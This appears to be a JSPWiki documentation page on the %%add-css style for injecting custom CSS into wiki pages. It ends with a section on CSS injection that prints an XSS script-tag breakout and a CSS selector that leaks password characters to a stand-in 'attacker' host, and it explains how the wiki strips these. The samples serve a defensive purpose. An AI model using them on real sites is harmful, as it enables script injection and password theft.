With the %%add-css style you can inject any custom css into a wiki page, adding new styles or even changing existing styles (actually overwriting the style definition of jspwiki.css).
You can either directly insert the css definitions in your page or retrieve it from another wiki page.
Note: when adding the %%add-css to your <username>Favorites page, the additional styles will be available as long as your are logged in. E.g. changing the background of the header or footer via you Favorites page is one easy way to see that you are logged-in or not.
You can either directly insert the css definitions in your page or retrieve it from another wiki page.
Add styles in the page#
Notes:- attribute selectors should be escaped to avoid confusion with wiki links [[attr-name=value]
- wiki attachments inside url([wiki/attachment link]) are allowed, other links are removed.
%%add-css
.marker { display:block; background:yellow; width:50%; padding:1em; }
/* overwrite jspwiki.css style */
.header,.footer { background-image:url([Textures/dotted-dark-pink-canvas-1200x1093.jpg]); }
/%
%%marker
This text should be yellow.
If is it not, the __%~%add-css__ is not supported in your wiki engine.
Too bad!
/%
This text should be yellow.
If is it not, the %%add-css is not supported in your wiki engine.
Too bad!
Add styles from another wiki page#
%%add-css [Add CSS Style Example Page] /%
These styles where defined
[elsewhere|Add CSS Style Example Page] !\\
%%animatedText Colourful Animated Text /%
Add CSS Style Example Page
These styles where defined
elsewhere !
Colourful Animated Text
CSS Injection vulnerabilities#
See https://www.owasp.org/index.php/Testing_for_CSS_Injection_%28OTG-CLIENT-005%29Content unavailable! (broken link)https://jspwiki-wiki.apache.org/images/out.png- embedded script tags are removed by jspwiki page encoding
%%add-css
</style><script>alert('xss alert');</script><style>
/%
- dangerous links are replaced by [invalid]
%%add-css
input[[name=j_password][[value=^a] {
background-image: url(http://attacker/log?a);
}
p {
background-image: url([Add CSS Style]);
}
/%